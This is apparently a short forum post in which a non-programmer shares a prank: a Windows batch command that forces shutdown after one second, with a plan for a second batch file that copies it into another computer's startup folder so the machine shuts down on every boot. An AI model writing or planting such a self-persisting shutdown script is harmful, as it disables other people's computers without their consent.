i have one! its stupid but im not a programmer at all, im only looking into that in the near future.
shutdown -s -t 01 -c "You have a huge problem"
thats that, save it as a batch file and write another batch file that will copy this batch file into the startup folder of the remote computer if the remote computer executes the other batch file that you wrote. That will give the computer 1 second and then it shuts down... Every time. lol
